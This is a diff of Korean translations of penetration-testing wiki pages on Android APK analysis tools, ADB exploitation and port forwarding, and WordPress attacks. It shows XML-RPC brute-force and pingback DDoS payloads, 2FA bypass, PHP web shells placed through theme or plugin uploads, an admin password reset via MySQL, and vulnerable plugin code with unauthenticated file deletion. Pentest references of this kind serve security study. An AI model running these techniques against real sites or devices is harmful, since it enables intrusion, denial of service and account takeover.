- APK 파일을 Java 및 Smali 형식으로 자동으로 디컴파일
|
||||
- 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석
|
||||
- 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석
|
||||
- 장치 정보
|
||||
- 기타 등등
|
||||
```bash
|
||||
@ -630,7 +630,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지하는 방식으로 이루어집니다.
|
||||
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다.
|
||||
|
||||
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 생성할 수 있습니다.
|
||||
|
||||
@ -644,7 +644,7 @@ super-analyzer {apk_file}
|
||||
|
||||
StaCoAn은 개발자, 버그 바운티 헌터 및 윤리적 해커가 모바일 애플리케이션에 대해 [정적 코드 분석](https://en.wikipedia.org/wiki/Static_program_analysis)을 수행하는 데 도움을 주는 **크로스 플랫폼** 도구입니다.
|
||||
|
||||
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성한다는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다.
|
||||
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성하는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다.
|
||||
|
||||
다운로드[ 최신 릴리스](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -660,7 +660,7 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn**는 Android 애플리케이션이 개발한 잠재적인 악의적 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
|
||||
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
|
||||
|
||||
감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
|
||||
|
||||
@ -693,19 +693,19 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 난독화하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공중 라이선스 버전 2에 따라 배포됩니다.
|
||||
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 난독화하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공용 라이선스 버전 2에 따라 배포됩니다.
|
||||
|
||||
ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다.
|
||||
[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 APK를 디오브스큐레이션하는 단계별 가이드를 찾으세요.
|
||||
|
||||
(그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다:
|
||||
|
||||
- 리소스를 InputStream으로 로드합니다;
|
||||
- 결과를 FilterInputStream에서 상속받은 클래스에 제공하여 복호화합니다;
|
||||
- 리버서의 시간을 낭비하기 위해 쓸모없는 난독화를 수행합니다;
|
||||
- 리버서의 시간을 몇 분 낭비하기 위해 쓸모없는 난독화를 수행합니다;
|
||||
- 복호화된 결과를 ZipInputStream에 제공하여 DEX 파일을 가져옵니다;
|
||||
- 마지막으로 `loadDex` 메서드를 사용하여 결과 DEX를 리소스로 로드합니다.
|
||||
|
||||
@ -721,7 +721,7 @@ APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
이는 **일반 Android 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화하려고 시도**하여 동일하게 동작하지만 사람이 이해하기 더 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다.
|
||||
이는 **일반 Android 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -735,7 +735,7 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습을 포함합니다.
|
||||
AndroL4b는 Ubuntu-mate를 기반으로 한 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습을 포함합니다.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -9,7 +9,7 @@ From [the docs](https://developer.android.com/studio/command-line/adb):
|
||||
Android Debug Bridge (adb)는 Android 기반 장치 및 에뮬레이터와 통신하기 위한 명령줄 도구입니다. 일반적인 작업에는 패키지 설치, 디버깅 및 장치에서 대화형 Unix 셸을 얻는 것이 포함됩니다.
|
||||
|
||||
- 역사적 기본 TCP 포트: 5555 (클래식 "adb tcpip" 모드).
|
||||
- 현대 무선 디버깅 (Android 11+)은 TLS 페어링 및 mDNS 서비스 검색을 사용합니다. 연결 포트는 동적이며 mDNS를 통해 발견됩니다; 5555가 아닐 수 있습니다. 페어링은 adb pair host:port 다음에 adb connect로 수행됩니다. 공격적 의미에 대한 주의 사항은 아래를 참조하십시오.
|
||||
- 현대 무선 디버깅 (Android 11+)은 TLS 페어링 및 mDNS 서비스 검색을 사용합니다. 연결 포트는 동적이며 mDNS를 통해 발견됩니다; 5555가 아닐 수 있습니다. 페어링은 adb pair host:port 다음에 adb connect로 수행됩니다. 공격적 의미에 대한 주석은 아래를 참조하십시오.
|
||||
|
||||
Example nmap fingerprint:
|
||||
```
|
||||
@ -26,8 +26,8 @@ adb shell # Get an interactive shell (uid usually shell)
|
||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
- 만약 장치가 ADB 인증을 강제하는 경우 (ro.adb.secure=1), 사전 인증(USB RSA 인증)을 받거나 Android 11+ 무선 디버깅 페어링을 사용해야 합니다(이는 장치에 표시된 일회성 코드가 필요합니다).
|
||||
- 일부 벤더 이미지, 엔지니어링/사용자 디버그 빌드, 에뮬레이터, TV, STB 및 개발 키트는 인증 없이 adbd를 노출하거나 adbd가 루트로 실행됩니다. 이러한 경우, 일반적으로 셸 또는 루트 셸에 직접 접근하게 됩니다.
|
||||
- 만약 장치가 ADB 인증을 강제하는 경우 (ro.adb.secure=1), 사전 인증(USB RSA 인증)이 필요하거나 Android 11 이상의 무선 디버깅 페어링을 사용해야 합니다(이는 장치에 표시된 일회성 코드가 필요합니다).
|
||||
- 일부 벤더 이미지, 엔지니어링/사용자 디버그 빌드, 에뮬레이터, TV, STB 및 개발 키트는 인증 없이 또는 adbd가 루트로 실행되는 상태로 adbd를 노출합니다. 이러한 경우, 일반적으로 셸 또는 루트 셸에 직접 접근하게 됩니다.
|
||||
|
||||
일반 ADB 명령 참조는 다음을 참조하십시오:
|
||||
|
||||
@ -81,7 +81,7 @@ adb shell am broadcast -a <action>
|
||||
|
||||
### 포트 포워딩 및 피벗팅
|
||||
|
||||
루트 없이도 adb는 로컬 포트를 장치 포트로, 또는 그 반대로 포워딩할 수 있습니다. 이는 장치에서 로컬로 바인딩된 서비스에 접근하거나 공격자 서비스를 장치에 노출하는 데 유용합니다.
|
||||
루트 없이도 adb는 로컬 포트를 장치 포트로, 장치 포트를 로컬 포트로 포워딩할 수 있습니다. 이는 장치에서 로컬로 바인딩된 서비스에 접근하거나 공격자 서비스를 장치에 노출하는 데 유용합니다.
|
||||
|
||||
- 호스트->장치 포워딩 (호스트에서 장치 로컬 서비스에 접근):
|
||||
```bash
|
||||
@ -90,7 +90,7 @@ adb forward tcp:8081 tcp:8080 # 앱의 로컬 디버그 서버 노출
|
||||
```
|
||||
- 장치->호스트 역방향 (장치가 호스트의 서비스에 접근):
|
||||
```bash
|
||||
adb reverse tcp:1080 tcp:1080 # 이제 장치 앱이 127.0.0.1:1080으로 호스트:1080에 접근할 수 있습니다
|
||||
adb reverse tcp:1080 tcp:1080 # 장치 앱이 이제 127.0.0.1:1080으로 호스트:1080에 접근할 수 있습니다
|
||||
```
|
||||
- 소켓을 통한 파일 유출 (sdcard 쓰기 없음):
|
||||
```bash
|
||||
@ -113,7 +113,7 @@ adb connect <device_ip>:<conn_port>
|
||||
노트
|
||||
- 포트는 동적입니다; 5555를 가정하지 마십시오. mDNS 서비스 이름은 다음과 같습니다:
|
||||
- _adb-tls-pairing._tcp (페어링)
|
||||
- _adb-tls-connect._tcp (페어링 연결)
|
||||
- _adb-tls-connect._tcp (페어링된 연결)
|
||||
- _adb._tcp (레거시/일반)
|
||||
- mDNS가 필터링되면, 일부 빌드에서는 고전 USB 지원 활성화가 여전히 작동할 수 있습니다: `adb tcpip 5555` 다음 `adb connect <ip>:5555` (재부팅 전까지).
|
||||
|
||||
|
@ -35,7 +35,7 @@
|
||||
### 사용자 권한
|
||||
|
||||
- **관리자**
|
||||
- **편집자**: 자신의 게시물 및 다른 게시물을 게시하고 관리합니다.
|
||||
- **편집자**: 자신의 게시물 및 다른 사람의 게시물을 게시하고 관리합니다.
|
||||
- **저자**: 자신의 게시물을 게시하고 관리합니다.
|
||||
- **기여자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
|
||||
- **구독자**: 게시물을 탐색하고 자신의 프로필을 편집합니다.
|
||||
@ -75,21 +75,21 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Active enumeration
|
||||
## 능동적 열거
|
||||
|
||||
### Plugins and Themes
|
||||
### 플러그인 및 테마
|
||||
|
||||
모든 Plugins와 Themes를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **Plugins와 Themes 목록을 능동적으로 Brute Force해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
|
||||
모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인과 테마 목록을 능동적으로 무작위 대입해야** 합니다 (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
|
||||
|
||||
### Users
|
||||
### 사용자
|
||||
|
||||
- **ID Brute:** Brute Forcing 사용자 ID를 통해 WordPress 사이트에서 유효한 사용자를 얻습니다:
|
||||
- **ID 무작위 대입:** 사용자 ID를 무작위 대입하여 WordPress 사이트에서 유효한 사용자를 얻습니다:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다.
|
||||
|
||||
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 할 수도 있습니다:
|
||||
- **wp-json:** 다음 쿼리를 통해 사용자에 대한 정보를 얻으려고 시도할 수 있습니다:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
@ -97,7 +97,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
이 엔드포인트는 게시물을 작성한 사용자만 노출합니다. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**.
|
||||
이 엔드포인트는 게시물을 작성한 사용자만 노출된다는 점에 유의하세요. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**.
|
||||
|
||||
또한 **/wp-json/wp/v2/pages**는 IP 주소를 유출할 수 있습니다.
|
||||
|
||||
@ -105,9 +105,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### XML-RPC
|
||||
|
||||
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여 이 프로세스를 자동화할 수 있습니다](https://github.com/relarizky/wpxploit)).
|
||||
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여](https://github.com/relarizky/wpxploit) 이 프로세스를 자동화할 수 있습니다).
|
||||
|
||||
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오:
|
||||
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내보세요:
|
||||
|
||||
**확인**
|
||||
```html
|
||||
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
메시지 _"잘못된 사용자 이름 또는 비밀번호"_는 자격 증명이 유효하지 않을 경우 200 코드 응답 내에 나타나야 합니다.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -166,18 +166,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
또한 **`system.multicall`**을 사용하여 자격 증명을 브루트 포스하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
|
||||
또한 **`system.multicall`**을 사용하여 자격 증명을 무차별 대입하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FA 우회**
|
||||
|
||||
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방법으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
|
||||
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방법으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 진입점이 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
|
||||
|
||||
**DDoS 또는 포트 스캐닝**
|
||||
|
||||
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로든 보낼 수 있습니다.\
|
||||
이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트든 지정할 수 있습니다).
|
||||
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
|
||||
이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## 비트를 덮어써서 접근하기
|
||||
|
||||
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 wordpress 파일의 1 비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP할 수 있었습니다.
|
||||
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 모든 워드프레스 파일에서 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -252,7 +252,7 @@ php 쉘을 위한 내용을 변경합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
업데이트된 페이지에 접근하는 방법을 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -267,7 +267,7 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
플러그인으로 .php 파일을 업로드할 수 있을 수 있습니다.\
|
||||
예를 들어, php 백도어를 생성하세요:
|
||||
예를 들어, 다음과 같이 php 백도어를 만드세요:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -283,37 +283,37 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다:
|
||||
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 쉘을 볼 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
접속하면 리버스 셸을 실행할 URL을 볼 수 있습니다:
|
||||
접속하면 리버스 쉘을 실행할 URL을 볼 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
### 악성 플러그인 업로드 및 활성화
|
||||
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 쉘을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
|
||||
|
||||
1. **Plugin Acquisition**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 얻습니다.
|
||||
2. **Plugin Installation**:
|
||||
1. **플러그인 획득**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 Exploit DB에서 얻습니다.
|
||||
2. **플러그인 설치**:
|
||||
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 가세요.
|
||||
- 다운로드한 플러그인의 zip 파일을 업로드하세요.
|
||||
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용될 수 있습니다.
|
||||
3. **플러그인 활성화**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
|
||||
4. **악용**:
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다.
|
||||
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다.
|
||||
- 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다.
|
||||
|
||||
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용되어야 하며, 명시적인 허가가 있는 침투 테스트와 같은 합법적인 맥락에서만 사용해야 합니다.
|
||||
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 보조 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
|
||||
|
||||
**자세한 단계는 다음을 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 더 많은 정보는 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress 버전 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress Versions 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
|
||||
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 정의 플러그인(백도어)을 WordPress에 업로드합니다.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ WordPress에 사용자 정의 플러그인(백도어)을 업로드합니다.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
|
||||
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇입니다.
|
||||
@ -332,13 +332,13 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Attack Surface
|
||||
|
||||
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
|
||||
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 게시물**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이).
|
||||
플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. **워드프레스 인스턴스에 인증된 모든 사용자가 이를 가질 수 있습니다** (역할에 관계없이).
|
||||
|
||||
이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다:
|
||||
다음은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수들입니다:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -373,10 +373,10 @@ $this->namespace, '/get/', array(
|
||||
WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출합니다. **_nopriv_** 변형이 사용될 때 **콜백은 인증되지 않은 방문자가 접근할 수 있게 됩니다**, 따라서 모든 민감한 작업은 추가적으로 다음을 구현해야 합니다:
|
||||
|
||||
1. **권한 확인** (예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 및
|
||||
2. **CSRF nonce**가 `check_ajax_referer()` / `wp_verify_nonce()`로 검증되며, 및
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()`로 검증된 **CSRF nonce**, 및
|
||||
3. **엄격한 입력 정화 / 검증**.
|
||||
|
||||
Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 포함하여 배포하게 되었습니다 (단순화됨):
|
||||
Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 포함하게 되었습니다 (단순화됨):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -399,7 +399,7 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
|
||||
* **인증되지 않은 접근** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
|
||||
* **논스 / 권한 확인 없음** – 모든 방문자가 엔드포인트에 접근할 수 있습니다.
|
||||
